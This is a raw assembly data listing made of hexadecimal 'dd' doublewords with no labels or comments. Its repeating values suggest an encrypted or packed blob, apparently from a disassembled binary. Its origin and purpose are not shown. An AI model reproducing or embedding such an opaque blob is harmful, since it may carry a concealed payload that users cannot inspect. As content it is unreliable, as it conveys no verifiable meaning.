		dd 3FA08E6Dh, 551EC9C3h, 4469ACD3h, 83A055E4h, 0E401586Dh
		dd 0BD7863EDh, 67CF8090h, 71CC7E3Ch, 5F4D6B00h,	10D5A57Ch
		dd 0A0A08E81h, 3FA055CAh, 0EA95A31Fh, 7D7E0318h, 606EC9C6h
		dd 4E69ACD8h, 0F6A055E4h, 0A0D92D81h, 0AB12E069h, 0AFE1D7h
		dd 0FCB84FDh, 46FE8CBAh, 1262D42Eh, 0C0083508h,	0D4BA5D42h
		dd 4469937Ah, 31AD309h,	3FCF62C8h, 0A800769Fh, 3FA08E80h
		dd 5077F4Ch, 6E2121E5h,	256EDD98h, 11D55122h, 4E58F376h
		dd 3F5A14EDh, 0CC1B9AE4h, 466B36DEh, 8DBE2184h,	3FA09995h
		dd 3F5F8AE4h, 0C93655E4h, 419A5A3Dh, 0EB318984h, 11563DF2h
		dd 0F700B30Dh, 7C1349C9h, 3FA055ECh, 58E82DE4h,	2004C7E2h
		dd 3F5ADB12h, 8EA155E4h, 0CC0B7713h, 45C10EB0h,	3F8EC6DFh
		dd 456955E4h, 0DAA055E4h, 7F762E6Dh, 0CC1CDAFBh, 466CEDB6h
		dd 11C56384h, 0BD786E22h, 67CF8090h, 0CE5F7E3Ch, 3FA055D2h
		dd 3F554684h, 833255E4h, 180C3970h, 0EBAFDB17h,	46CEA521h
		dd 4EA055E4h, 3FA05201h, 7201B5E4h, 5F460F00h, 1BD5A57Ch
		dd 1FA08E81h, 3F5417E0h, 0F64655E4h, 0A801A292h, 3FA09E08h
		dd 45D0B6A8h, 4E0255B4h
		dd 0C65FFE16h, 0CC1B9C81h, 466CE83Ah, 3FA0AAE9h, 2AC74E4h
		dd 0C3656BBAh, 557F5869h, 0B2113631h, 0C60B3632h, 3F624730h
		dd 0EBEC55E4h, 6F5A1CD6h, 0E2F5CA62h, 4DC58CEAh, 2F6C549Bh
		dd 3C9CC836h, 0C45FACE4h, 3FA055B9h, 96FFDC84h,	7EA109B1h
		dd 0CC1B6F39h, 466B46B6h, 0BE7E65F9h, 0B8A6F328h, 6B00D4FBh
		dd 1CC74B12h, 641C4EFAh, 4EA08E81h, 3FA1E700h, 3F628AE4h
		dd 0BEDF55E4h, 75C1313Fh, 0CE92487Ch, 213463CCh, 0D4DB063Eh
		dd 5DCAD0FBh, 4EA0ACD8h, 3F098400h, 0CC0B76E4h,	45C11230h
		dd 3F95C6DFh, 0C5F55E4h, 3FA055D9h, 3FA0A2E9h, 1149BCE4h
		dd 0DB664211h, 78184543h, 494A5403h, 0EA95A31Fh, 2D02C9C3h
		dd 0CE5FACD8h, 3FA055E1h, 3F67D3DFh, 125F55E4h,	3FA08E81h
		dd 6B545507h, 0BFF45188h, 3FA04A39h, 0CC0B91E4h, 45C10F6Ch
		dd 3F05C6DFh, 0C1C555E4h, 626270FEh, 3F708B77h,	0A4F55E4h
		dd 0C63E9076h, 0A94B2AA9h, 0CE3031DAh, 0F1A3FF4Fh, 3FA08E81h
		dd 1FABFD81h, 451A4EEEh, 4EA055E4h, 3FA053FBh, 0CC0BB2E4h
		dd 45C1119Ch, 3F03C6DFh, 0CE5F55E4h, 3FA055E1h,	3F662BDFh
		dd 0C05F55E4h, 3FA08E6Dh, 648AC9C3h, 0FB9ACD8h,	3FA052BAh
		dd 181F52E4h, 7F8FA521h, 3F5524E1h, 0BF4655E4h,	1892D3B5h
		dd 42B0C834h, 0C45FACE4h, 3FA08F34h, 3FA096E9h,	938D1BE4h
		dd 0E5AB6D1Eh, 941AC9C3h, 0A800ACD3h, 3FA08E77h, 0C126A1A4h
		dd 1F84C37Ch, 3F5ADB12h, 8EA155E4h, 3F9D8B13h, 0B40955E4h
		dd 4F9C6E9h, 5E2E1B10h,	71D51D1Dh, 5F4C8B00h, 68D5A57Ch
		dd 0A0A08E7Bh, 3FA08E80h, 4F61A161h, 0CA60D717h, 3FA08E73h
		dd 0C18B2184h, 0CC1BB4ECh, 466CF406h, 3FA048E9h, 4FFB8FE4h
		dd 14BED2E9h, 0BDCF564Fh, 1CC90690h, 6DD55AFAh,	4E58F376h
		dd 3FA0B2EDh, 3F578AE4h, 94A755E4h, 0A5D22F2Bh,	0A786D3E6h
		dd 3F57B0CAh, 3EDBC6DFh, 250055E4h, 8C1C2702h, 84C18BAh
		dd 0CC1BB432h, 466CEA4Ah, 3F59C6DFh, 0A80055E4h, 3FA09E08h
		dd 40AF8444h, 0C4EF1236h, 48F1254h, 0F660BE9Ah,	0B8A7B4EAh
		dd 3F5AF279h, 0A0AF55E4h, 3FA08F46h, 0C901F986h, 91E6DFFh
		dd 553CF602h, 42BCC833h, 0C45FACE4h, 3FA05665h,	0A6DAF884h
		dd 476838C1h, 0ABA055E4h, 0F5740710h, 206EFCC2h, 3FA049B5h
		dd 0DE1E86E4h, 1DAA8EADh, 5DD5A522h, 4EA08E81h,	3FA0BD01h
		dd 3F648AE4h, 0F8F55E4h, 0A4BA008Fh, 237373A2h,	4EA92157h
		dd 0F1FBA680h, 0CC1B504Fh, 466B4506h, 3FA0A4E9h, 860B93E4h
		dd 6F80950Ah, 2F638340h, 61331D63h, 0F1A241E8h,	0EEA34A15h
		dd 88578C41h, 337BD4ECh, 60A06510h, 0A7007B8Ch,	3FA08E72h
		dd 2F0D2DDh, 67CB3FB4h,	0C586E9D0h, 622CED3Eh, 16ACD788h
		dd 3FA1C9E0h, 189855E4h, 42C0C834h, 0C45FACE4h,	3FA08F2Eh
		dd 0BC192184h, 0A786C922h, 3F57B0CAh, 3EECC6DFh, 0EF0055E4h
		dd 1F5BB6E1h, 3382C9C4h, 8E00ACD8h, 3FA05588h, 0F65FA7E4h
		dd 9017D8Ch, 0BDCF54B3h, 11290690h, 0B1D55AEEh,	4E58F385h
		dd 3FA1E8EDh, 0CC1B9AE4h, 466B96D2h, 3F5ACFDFh,	26C555E4h
		dd 3FA0A781h, 0BDF45249h, 0A0B0F26Dh, 3FA08E80h, 613E9547h
		dd 0CC0B7D39h, 45C11190h, 3F97C6DFh, 0B85F55E4h, 3FA08E73h
		dd 10016E84h, 0CC1BB31Ah, 466D1616h, 3FA12CDFh,	0A7B955E4h
		dd 3FA09E08h, 327A21AEh, 0C6B5405Ch, 8E67A9BEh,	0F1A239CDh
		dd 3FA08E81h, 0C3ABFD81h, 3C50C834h, 0C45FACE4h, 3FA08E6Ch
		dd 3F718B84h, 484355E4h, 32BEF9B8h, 0B2AF2D59h,	0EDB5B4B6h
		dd 0A0B0B49Ch, 3FA08F43h, 78691051h, 0E43C0A60h, 3D3B2B0h
		dd 466BABEAh, 0FED5A4E4h, 1FA08E80h, 3FA097A9h,	0B3BD0AE4h
		dd 0D7CCD5BDh, 1F9EB320h, 3FA1C9E0h, 200155E4h,	0CBD52AFAh
		dd 1F57B0D2h, 1FB97EB2h, 0B40D10Ch, 99615EC5h, 7774D377h
		dd 0B5F42B45h, 10730E94h, 673F5565h, 71B97D34h,	5F4D5300h
		dd 53D5A57Ch, 0A0A08E80h, 3FA09E08h, 9C19AF4Dh,	38E0306Dh
		dd 0D40A22E9h, 3D37F9Dh, 466BABEAh, 33D5A4E4h, 4EA08E81h
		dd 3FA08F49h, 0CC1B9DE4h, 466B3EAAh, 3FA0ADE9h,	64D832E4h
		dd 536B8A15h, 4C8805F2h, 0B6776579h, 1694DEF8h,	1FABB50Ch
		dd 1F8B2AEEh, 3C94C834h, 0A421ACE4h, 1F6250CBh,	1F626D82h
		dd 0E337507Dh, 0BDDF44ABh, 5B97E2BBh, 901972AEh, 1F1C90A7h
		dd 8E63177Dh, 6CDE66AFh, 0FF62177Dh, 1F638B78h,	9F21177Dh
		dd 1F625006h, 6D9712BAh, 2E1AB51Eh, 1F620C86h, 0ABDD537Dh
		dd 262D0073h, 0A78B951Dh, 6DF07F8Eh, 1F621699h,	0F4C35C7Dh
		dd 9D9117E7h, 0FC8BC829h, 1F299778h, 0A1C2177Dh, 0FFC377D5h
		dd 1C1E89CCh, 0A4216E7Dh, 1F62501Eh, 1F626B82h,	34EBF87Dh
		dd 5EA12CE2h, 0A105F700h, 425F7297h, 0AE213010h, 1F62177Eh
		dd 1F626482h, 8650B07Dh, 0DD5A5EC9h, 3FE22BA2h,	0C79ECA98h
		dd 0F3208CEh, 0A2C34F2Eh, 0C439DA4h, 80233167h,	3E759506h
		dd 95CF58BBh, 2A759024h, 8D934B9Ah, 7664B08Fh, 43DC66B5h
		dd 0FF62501Ah, 1F626482h, 7A1237Dh, 344A9D61h, 0BFDC0C08h
		dd 0DAF18373h, 0F3B22390h, 0FFD55678h, 1C2289CCh, 0A4216E7Dh
		dd 1F625FA6h, 1F63AE82h, 6674367Dh, 6C1C25A4h, 28249E50h
		dd 1762177Dh, 0F6E482D3h, 0C949E450h, 0FB3CEE51h, 0E7E46D96h
		dd 2B97E3E1h, 97197266h, 9D9292A5h, 5E6B4229h, 4B9066BEh
		dd 0FF62501Ah, 1F63AE82h, 6C6A1D7Dh, 31898B88h,	2E2BD03Bh
		dd 4262177Dh, 6135420Eh, 16A13B7Ch, 5773B2E5h, 0F82E7065h
		dd 1C2689CCh, 0A4216E7Dh, 1F621750h, 1F621082h,	0BD8C6E7Dh
		dd 0D220718Ah, 6812129Ah, 0C53D21D4h, 37688B5Ch, 6D7B6E6Ch
		dd 1F626690h, 2196667Dh, 8062177Dh, 1F625019h, 46FC5463h
		dd 0D164E86Bh, 1F62501Ah, 0E6DBF1Ah, 1F621686h,	0ABCD5F7Dh
		dd 2583D109h, 1F6D8878h, 0A18E177Dh, 31BCC697h,	1F5D4D10h
		dd 43B1177Dh, 0F5110B54h, 41924C41h, 1F244CACh,	0DC5E177Dh
		dd 0B82AA9A8h, 6664CE76h, 0BF1ADCE9h, 0EC1FF341h, 91D3F7CAh
		dd 0A5CDF7CBh, 722A77C9h, 9762177Dh, 39305185h,	9DFB8913h
		dd 0F5E32EA2h, 0A1083DACh, 0F32130D5h, 1F625015h, 0FF92841Dh
		dd 23AE89CCh, 0A4216E7Dh, 1F62174Ah, 2F971095h,	8062177Dh
		dd 1F6250DFh, 0E7A6E199h, 9410A49Bh, 0A5DF4CA5h, 13148B5Dh
		dd 877A6E71h, 1F62177Ah, 0FCDE1940h, 0EA09D243h, 0A600520Eh
		dd 0EF0DEC42h, 9D911652h, 0F723C829h, 1F3317B9h, 0F996177Dh
		dd 9CBAAA49h, 66980107h, 725E92A2h, 40AF2CCh, 572A05Dh
		dd 0FFDCF6E9h, 23B289CCh, 0A4216E7Dh, 1F62174Ah, 1F26081Dh
		dd 0EA12177Dh, 610E423Dh, 4ED5D52Bh, 3DA8FAA3h,	479BE3BEh
		dd 0DE7368E7h, 0F8557847h, 40248B5Ch, 877A6E71h, 1F6250DFh
		dd 41924B85h, 396527ACh, 0B7DDE140h, 1F1C9DA3h,	7663177Dh
		dd 3B4A66B5h, 0FF62177Dh, 77AA9DAFh, 1F63AE83h,	8C357A7Dh
		dd 89532FDEh, 0F859FEB1h, 426089CCh, 0A4216E6Ch, 1F625FBDh
		dd 0BA249D1Dh, 0DE5DD8EBh, 0BB97E2BAh, 0FF1973DDh, 1F620A82h
		dd 244A677Dh, 0E9C3E95Dh, 1F62144Ch, 0F1F1147Dh, 1F1C8878h
		dd 517A177Dh, 3F0F0C99h, 0F7976715h, 0FF625019h, 0A1C35191h
		dd 42621E97h, 73DD6710h, 8062177Dh, 1F621763h, 9DFB8906h
		dd 5FE32EA2h, 1F625A7Ch, 740D027Dh, 8EAA304h, 1B061BA7h
		dd 4D185BAFh, 43FC53AFh, 1F4F242Dh, 1862177Dh, 877B3298h
		dd 1F621767h, 7145C2D5h
		dd 4DAD3ACBh, 5C50128Eh, 73619133h, 93B0D499h, 23F289CDh
		dd 0A4216E7Dh, 1F625FA9h, 1F63E378h, 997B177Dh,	3F08C64Fh
		dd 0A4215015h, 1F625FA3h, 1F148878h, 0A1C2177Dh, 1F3208C4h
		dd 0CCA0177Dh, 0A896863Fh, 0D9D04FEDh, 1BAC913Fh, 99C33002h
		dd 4216504Fh, 0AB215010h, 1F621769h, 0EAB09D1Dh, 64E204C5h
		dd 6C2B750Bh, 5262177Dh, 0ADC55173h, 5B6F321Ah,	51488591h
		dd 3F97E33Ch, 941972BBh, 9D9292A5h, 5E6B4229h, 724B66BEh
		dd 2E62177Dh, 1F621786h, 1EE3667Dh, 6262177Dh, 3F08CC99h
		dd 0F4976715h, 80625019h, 1F625010h, 83692B56h,	0CD48948Ch
		dd 1F1AB50Eh, 1F218878h, 0A021177Dh, 1F62501Bh,	0A3489491h
		dd 1F197306h, 1F768B78h, 2B2B177Dh, 6B62177Dh, 4FDB9DB1h
		dd 5A008B5Fh, 0A5216E6Fh, 1F62501Bh, 9D3A2592h,	47914229h
		dd 877A3FD5h, 1F625010h, 0A176AA35h, 0D971246h,	2E1AB50Bh
		dd 1F62FA86h, 1F4B667Dh, 9762177Dh, 2B408B5Dh, 0AE216E6Ch
		dd 1F62177Eh, 1F626482h, 0BEE6637Dh, 0B6E01B25h, 0C76F5E0Eh
		dd 0B1EF5BB1h, 4A5669FEh, 9D92A7AAh, 666B4229h,	0ABCD5BB3h
		dd 2583D1C5h, 1F558878h, 0AB21177Dh, 1F621763h,	0D15A3F1Dh
		dd 6D9D63F5h, 0A397E2BAh, 8019727Bh, 1F621767h,	0F55C3D83h
		dd 0F0636024h, 0A62584CCh, 0D99C9C16h, 6856B6A4h, 0E65D81A9h
		dd 84DCC166h, 64E31963h, 803A3A91h, 90605EBCh, 23C289CDh
		dd 0A4216E7Dh, 1F621755h, 1F228878h, 282B177Dh,	3762177Dh
		dd 0C935882Dh, 99C0CE4Ah, 98AD8C29h, 4EA26E20h,	4397E3CDh
		dd 901973DFh, 1F626583h, 0B0576E7Dh, 79504931h,	3D5CE72Ch
		dd 0F088E3DFh, 12E33F06h, 9D911666h, 518E2229h,	3F0F1C99h
		dd 45976715h, 2E62501Ah, 1F6250FDh, 0ABDD5F7Dh,	262D7D8Bh
		dd 1F626282h, 4DBFAD7Dh, 10FA6B8Dh, 53902AFh, 0AA691C6Dh
		dd 0FE1CB412h, 0ABCD3A86h, 2583D069h, 1ED38878h, 9BC2177Dh
		dd 0ABDD7693h, 262D173Bh, 1F5D8A78h, 2B2B177Dh,	0C262177Dh
		dd 0D4FCA69Fh, 9D9281A3h, 966B4229h, 252B5CA8h,	0A662177Dh
		dd 0D7A7FC36h, 0ABCD7EE0h, 2583D055h, 1EBE8878h, 0D0C2177Dh
		dd 54AA41C0h, 0FF23E2B2h, 0CC48B5Ch, 0FE876E71h, 1F14E078h
		dd 0FFC2177Dh, 388994AFh, 0D16474AAh, 1F62501Ah, 806DBF1Ah
		dd 1F625010h, 933C673Bh, 6D916261h, 1F62F899h, 1ECB4C7Dh
		dd 639E177Dh, 5AADAFC1h, 87F96154h, 9D914C25h, 2499671Ah
		dd 9862177Dh, 0BE884181h, 0F3DB951Bh, 0FFF92962h, 127489CCh
		dd 0A4216E71h, 1F621750h, 1F620A82h, 0C49EA47Dh, 0ABDF0FC4h
		dd 2583107Ch, 1F626282h, 1A21FE7Dh, 15954042h, 5BD22F1Dh
		dd 992B71B2h, 8791417Fh, 1F625012h, 0FA342732h,	87CB5B0Dh
		dd 1F621765h, 16D41AB5h, 8BF1A2C6h, 0ABCD5323h,	262DFAA7h
		dd 1EE38878h, 87C2177Dh, 1F625019h, 0D34B096Bh,	0A372FCECh
		dd 997B74A8h, 3F0EE64Fh, 0A4211515h, 1F625FB0h,	0AD9CBA1Dh
		dd 0F3FCB454h, 0F056B896h, 3A2A3019h, 6162177Dh, 0C440B0Ch
		dd 0AAB98CDCh, 7B48D9CFh, 0AD832A15h, 0F061A0CFh, 3BDD66BAh
		dd 8062177Dh, 1F62500Bh, 0B34A2A0Ch, 0EC13563Bh, 0CA1A243h
		dd 40887C88h, 9D3E3B7Fh, 1F260829h, 4B6C177Dh, 7DA846ECh
		dd 0E6273F1Dh, 76320855h, 1972F274h, 0ABC407A2h, 2583D189h
		dd 1EB08B78h, 5187177Dh, 3F0D3499h, 0F0976715h,	80625019h
		dd 1F621716h, 0FA8C1E1Bh, 777300E5h, 1DE1A8A1h,	370EE9Dh
		dd 80596402h, 9D9143F9h, 1ECB081Ah, 0D7B9177Dh,	0C75663EBh
		dd 6D8758D2h, 1F62165Fh, 78E3327Dh, 0D26C95D5h,	6D2A3FBAh
		dd 9162177Dh, 1CB88BB6h, 7CA12B01h, 1503C37Fh, 75E3DF60h
		dd 3568DAB5h, 803CDFB5h, 0E26518B4h, 1F62177Dh,	0A066BCE2h
		dd 0A1213294h, 1F621773h, 1F625982h, 0BF58F37Dh, 0C1B7C452h
		dd 53448ADDh, 0C78E741Fh, 49956E98h, 1F818B56h,	185F8878h
		dd 0E9C2177Dh, 1F625982h, 7BE15C7Dh, 0B1FBB02Ch, 872FB267h
		dd 8DAD98CCh, 9C7CF46Dh, 7B4C313Eh, 0F8276B72h,	229E89CCh
		dd 0A4216E7Dh, 1F6250C3h, 9EECE31Dh, 0F3C30020h, 0F6994996h
		dd 892B3919h, 8791417Dh, 1F621764h, 0E4F58398h,	0B1CD8C5Ah
		dd 0EBA74389h, 5A1F7A98h, 0B5971D41h, 2E1AB4ADh, 1F621E86h
		dd 0BD52777Dh, 1F620A82h, 5EDF7F7Dh, 0F3C37D86h, 0F64A1B96h
		dd 0D6213019h, 8E5112DAh, 81524CBBh, 0A621422Ah, 1F621760h
		dd 1F5F9578h, 252B177Dh, 5062177Dh, 0D8AE1B66h,	0ABC5EC9Eh
		dd 2583D3EDh, 1EF78878h, 0AA21177Dh, 1F621763h,	4E6B571Dh
		dd 6EDD6262h, 1D97E0B4h, 94623E5Ch, 1F1BD979h, 3A2B177Dh
		dd 3462177Dh, 53471228h, 0BF0AB63Bh, 98AEF196h,	3241F9FDh
		dd 878F7A57h, 9D9142ADh, 1F2C9779h, 0F5C2177Dh,	1ECA4CB1h
		dd 0C208177Dh, 0D436E045h, 6DC35C35h, 1F626CFDh, 1ECA4C7Dh
		dd 0D8FC177Dh, 46A9172Ch, 0A06504BAh, 0A1D928D5h, 6A9CB40Ah
		dd 1F625017h, 0BC16951Dh, 8014190Ch, 1F625012h,	875557ABh
		dd 0FF1F55F9h, 456097A4h, 0E96D76D1h, 51C83E4Bh, 0F0E504A6h
		dd 0E66B1E2h, 1F626B97h, 0ACDC777Dh, 76A0BB94h,	21C312A8h
		dd 0C971083h, 2E62501Ah, 1F62665Ch, 20DE667Dh, 8062177Dh
		dd 1F625010h, 0C3B7E899h, 800308EAh, 0AB21422Ah, 1F6250DFh
		dd 1EA1671Dh, 0D162177Dh, 72DEA441h, 0DD782FBAh, 357A02A6h
		dd 2AB7C4C2h, 64E321ABh, 357A02A0h, 1F63AE82h, 83E5557Dh
		dd 297C1773h, 0EC21F94Eh, 1F621763h, 1F19081Dh,	2B18177Dh
		dd 0FFE027CFh, 0A1083256h, 0DB4B3021h, 262D32E2h, 1F19EC78h
		dd 202B177Dh, 3862177Dh, 3D32185Fh, 73277D45h, 2B462E86h
		dd 80197319h, 1F625012h, 6670C1C8h, 9EE9028Fh, 0A4214C64h
		dd 1F62147Ah, 6ED6BA1Dh, 0FF8E9E7Ah, 0FA1CB928h, 5F5A264Ch
		dd 4B6E1467h, 98713306h, 5F5BD099h, 5E217767h, 81E3693Bh
		dd 0FBFCC6A3h, 4883A74Eh, 2B7754AEh, 98174CDAh,	2762E487h
		dd 3810C16h, 65E35F1Bh,	35CDB746h, 1F5FEE78h, 0D6C2177Dh
		dd 6D3B2FF8h, 1F62EC78h, 0F4C3177Dh, 99B6725Ch,	0A1210BD2h
		dd 1F621767h, 1F626582h, 0F1C2847Dh, 6A512337h,	8DDE611Ah
		dd 1651674Fh, 7642435h,	5C772EE7h, 9FE45EBEh, 3EB78978h
		dd 0BFD595DCh, 986089A0h, 55E59E80h, 0F0E7ECA6h, 0DEFDEA9Ah
		dd 8B9CB604h, 41ADCC1Fh, 5F624297h, 521CB614h, 0E3CD5348h
		dd 262D32E2h, 1EB59578h, 518E177Dh, 0E7A8108Fh,	2E625019h
		dd 1F626397h, 1F5F4C7Dh, 0C1BD177Dh, 0F0270C76h, 0C9536F00h
		dd 9B43125Bh, 9D2B1F83h, 1F320829h, 0BA11177Dh,	0BF538683h
		dd 56882DE1h, 0B515CBBBh, 2F2B4793h, 0BB62177Dh, 92DB6792h
		dd 2B9D4139h, 0C0820CDEh, 0E5141C1Ah, 4738935Ch, 0AE216E71h
		dd 1F62176Fh, 8739851Dh, 1F621716h, 34232ECEh, 0C750434Ah
		dd 0B84B7864h, 0FC33DE64h, 0F05D855Eh, 2CD83FBAh, 7790AEBAh
		dd 1F197263h, 0A362177Dh, 0DB4B5D1Ah, 262D1416h, 1F324D1Dh
		dd 597B177Dh, 59EC5093h, 10ADFB96h, 0AF0A3D08h,	87C319A8h
		dd 1F6250DFh, 6B9E3CC0h, 6BCA313Dh, 5365AE29h, 1EBEFCF8h
		dd 99216E77h, 1F621767h, 1F182F78h, 202B177Dh, 5F62177Dh
		dd 0D990A1AEh, 4A890C40h, 1F190837h, 1308177Dh,	2B0F49FFh
		dd 87E516A8h, 1F62500Bh, 2E101549h, 5C55431Fh, 91A0FCAEh
		dd 73FDB4Ah, 0AB2290DDh, 1F625FAEh, 0F12B3A91h,	94625019h
		dd 0F93EF35Fh, 9D7A6E79h
		dd 0CD951225h, 6D914228h, 1F620A93h, 0A187777Dh, 0A17A30D5h
		dd 42160847h, 87E33010h, 1EC650E5h, 0FF8A5678h,	26D484E2h
		dd 0F37A6E6Ch, 3EDAF4EEh, 1F324D15h, 0A367177Dh, 19BCC7C2h
		dd 85B3E22Fh, 56CCB29Dh, 69916E84h, 6451671Bh, 30EF92B9h
		dd 0ABDD38BAh, 262D32E3h, 1F622F78h, 0A78E177Dh, 42160A97h
		dd 1F946710h, 0A362177Dh, 1F5E4CBBh, 21EC177Dh,	75C4A525h
		dd 6BC0D0Bh, 5CE38C42h,	7697117Ch, 2E62177Bh, 1F625B5Fh
		dd 1F324C7Dh, 2CCD177Dh, 0FC404FDEh, 4ACE8B7Dh,	0A496F53Bh
		dd 0F4C2DF38h, 55A771Fh, 99FCA15Dh, 31D3AC4Fh, 0AB215010h
		dd 1F6217F1h, 0EBD823B6h, 94E3A127h, 0F091283Fh, 724A1091h
		dd 8062177Dh, 1F625012h, 358BD6FBh, 0C07A5AE5h,	5F34B9B9h
		dd 9147571Bh, 0EFC37C58h, 664B3D1Fh, 1F9066ACh,	9762177Dh
		dd 5E55C417h, 5BF60107h, 976AF083h, 95C77417h, 0D8060119h
		dd 6DC3BBC8h, 8FDD17E8h, 2A3B24BBh, 2462177Dh, 0CD812DAFh
		dd 0F17FE8C2h, 0F701471Bh, 0DA46B9B9h, 1F5D0833h, 0E68C177Dh
		dd 6E527B91h, 0B2F19BFDh, 6DFD75FCh, 1F621694h,	222B5C7Dh
		dd 0FF625006h, 1F626341h, 0BF0C017Dh, 674EA103h, 0DB11054Bh
		dd 9CDCECAEh, 0F2881B3h, 0F3FCC11Fh, 3F791DEEh,	4C23015h
		dd 0A109BE5Dh, 292B30D5h, 0DA62177Dh, 18F0239Eh, 8352B28Dh
		dd 4CBF3C41h, 0D4BA2E4Ch, 87FCCC69h, 1F62176Dh,	71131967h
		dd 837F03FCh, 0DA65289Fh, 0E7415F74h, 698AB254h, 1F11E07Ah
		dd 0F321177Dh, 1F62501Ah, 3EAFE292h, 0FF1AB691h, 0FF1CE2AFh
		dd 6C24A628h, 6762177Dh, 536CD48Bh, 0B9DECFCAh,	0C1AD83F7h
		dd 6D2263DBh, 1F63D386h, 0D621777Dh, 70E36928h,	87FCC750h
		dd 1F625FA7h, 1F626582h, 0F24D5D7Dh, 0E1F001CEh, 633ECF96h
		dd 2418085Eh, 36996703h, 8062177Dh, 1F621716h, 7A03A3A1h
		dd 239BA1A7h, 0F6EA329Eh, 0D3A6BC2Dh, 99B6D3B6h, 42160A97h
		dd 6DC20910h, 1F6216F8h, 6449667Dh, 2D2B768Fh, 0FE914227h
		dd 1D849691h, 0FF9C27D5h, 0A3F7F35Eh, 0A6216E7Bh, 1F62177Ah
		dd 1F28E078h, 9F21177Dh, 1F625006h, 1F5F081Dh, 5741177Dh
		dd 795C80F9h, 0BA386A5Dh, 9EB00552h, 9869E8C9h,	2E4E8A3Eh
		dd 69917459h, 9F217593h, 1F62500Ch, 4F84EE9Ah, 5E210881h
		dd 5F5D3031h, 1EBC887Ah, 262B177Dh, 2162177Dh, 642586E8h
		dd 9473DD03h, 1F621C83h, 26E3667Dh, 2E62177Dh, 1F6215F8h
		dd 0F5C3777Dh, 1F6214E8h, 0A18C147Dh, 6A96AB6Ah, 87C33017h
		dd 1F62172Ah, 1F626482h, 63955A7Dh, 3BF9D16Eh, 8A47E4D5h
		dd 0FE2CCD04h, 0EFA5A682h, 0F93EF35Eh, 9D7B6E79h, 48951225h
		dd 80625014h, 1F62500Bh, 6CAE3DCh, 89C1E3B0h, 419323BFh
		dd 0CEDD3A63h, 2B177B5Ch, 877B6E6Ch, 1F620358h,	65D6BA1Dh
		dd 59D6BA56h, 0ED2174B1h, 1F62501Ah, 2BDFEC95h,	97197319h
		dd 2B1084E3h, 272B6E6Ch, 3262177Dh, 8100F06Ch, 0F814A1F1h
		dd 0F858821Fh, 7482BA60h, 0AAFD4794h, 881CA50Dh, 9F930CA8h
		dd 0BA2C3E83h, 1F104CAEh, 9F7B177Dh, 95E10C95h,	41F2708Ch
		dd 0AA426C0Ch, 0A59F0E91h, 0FEF30883h, 1F179578h, 0D708177Dh
		dd 9FC36B07h, 355FF994h, 0A5E9947Ah, 401B0AB9h,	0A570D038h
		dd 981B0AB9h, 355FFBCCh, 0A187777Ah, 0CA85303Eh, 1F2517B9h
		dd 0F9A6177Dh, 0BC86FF99h, 0BF8144A9h, 0AF169F1Eh, 0A8F59AC2h
		dd 2BD9D0D2h, 0F764624Eh, 0DE109DAFh, 0A2224CBAh, 0F37B4229h
		dd 3EEDB8EEh, 69915C15h, 5AE3688Fh, 0BCF90B70h,	4B16E3DCh
		dd 54164999h, 21A1CF10h, 1F626F82h, 9FA3767Dh, 8F495E3Ah
		dd 8D567DE6h, 96CD4BEDh, 473888BDh, 0A77B6E71h,	367E4297h
		dd 60E33010h, 55FDD423h, 0F7E0E2A3h, 5397E2BAh,	941972BCh
		dd 9F71ECA1h, 1F620BD1h, 2A7A947Dh, 0A662177Dh,	0A06FAB6Ah
		dd 0F474AB6Ah, 64E3E9E2h, 1F625017h, 0A6164F94h, 0A06FB4C2h
		dd 0F38FB412h, 3EEE5C5Eh, 0FEC25C15h, 46BDA852h, 1F174C4Dh
		dd 0F5D4177Dh, 0FF020026h, 74ED94AFh, 6F917446h, 0D008301Bh
		dd 0F065B2DDh, 9F083FBAh, 0E58597Ch, 0FFFCAE40h, 3E8C8B5Ch
		dd 0AE216E71h, 1F62176Bh, 1F626182h, 134B497Dh,	6644E114h
		dd 6F4421B6h, 8B4B1910h, 1F164A94h, 53E3177Dh, 1F625017h
		dd 2B60190h, 6DB60BE3h,	1F627C5Bh, 6C2B777Dh, 0B062177Dh
		dd 0F8E8A0A5h, 0D2103A00h, 0F004132Ah, 396A9F32h, 0F4C30FD9h
		dd 64E3E9E2h, 1F625017h, 0A6164F94h, 0A06FB4C2h, 2624AB6Ah
		dd 0CF62177Dh, 0B655DA4h, 0AE9F76A7h, 1D3780B1h, 0AF31B537h
		dd 35AB1D57h, 0B76A9C9Ah, 306AA5BEh, 15DC219Ah,	146420C9h
		dd 3B7291DDh, 0F86A9C9Ah, 6C4D4F23h, 0D73488B7h, 8AAD20B4h
		dd 4F61BAEDh, 306A9D2Ch, 7D501399h, 0EE1A24C8h,	1FDDF4A0h
		dd 2FC0BA06h, 0AC68ED4Fh, 306A9C8Dh, 3027299Fh,	3B779C9Ah
		dd 2B6A9C9Ah, 3276B10Dh, 354C18E5h, 0AF6A9C9Ah,	4138B932h
		dd 306AA5B3h, 0D0897C9Ah, 307580DCh, 290E9C9Ah,	0FB2022F8h
		dd 0BC0B84E5h, 73667BE6h, 8E92676Ch, 76567587h,	1DA7157Bh
		dd 35A42791h, 4F6A9C9Ah, 306A9C83h, 0F384140Dh,	1C7458C1h
		dd 29DCAE1Dh, 60808E9h,	0C0B2431Fh, 2161BEFDh, 306AD57Bh
		dd 30768F9Ah, 0E3899C9Ah, 296A2FA2h, 706F24DCh,	70D24EBBh
		dd 36A463C5h, 0FC9F1996h, 297DB8BCh, 89E6A99Ah,	4F6A9D3Eh
		dd 306A9D37h, 9E7A110Eh, 7CE52EC1h, 4F61BEEAh, 306A9C9Dh
		dd 3ADD9A8Bh, 82E59461h, 263706D4h, 0D7715EEh, 1EC51CB4h
		dd 30768037h, 66AB9C9Ah, 4E3495A6h, 0D7B7288Eh,	6800BC40h
		dd 0A88D11FBh, 70DC643Ch, 303D369Dh, 0B98A9C9Ah, 935E173Dh
		dd 7A73D2E0h, 0D08E5C1Ah, 15E1197Ah, 0B8AA1B6h,	0EF50D035h
		dd 368910D8h, 1EC51CB1h, 2BA8AA37h, 216A9C9Ah, 306AA9B7h
		dd 302D8F9Ah, 0E9189C9Ah, 615ABFA9h, 6D8BF61Ah,	0E0E5201Bh
		dd 2161BEF8h, 306AAE05h, 3BA8A99Ah, 216A9C9Ah, 306A99BEh
		dd 30B88F9Ah, 0E41B9C9Ah, 74E9F904h, 306A9D30h,	0A96680B3h
		dd 0AF3EB9FAh, 0E01EB89Ah, 4DC54DBCh, 0AD793D1Bh, 75E5B932h
		dd 0C84EA430h, 3277AD11h, 4F6A9C9Ah, 960F4DCEh,	0F2D89898h
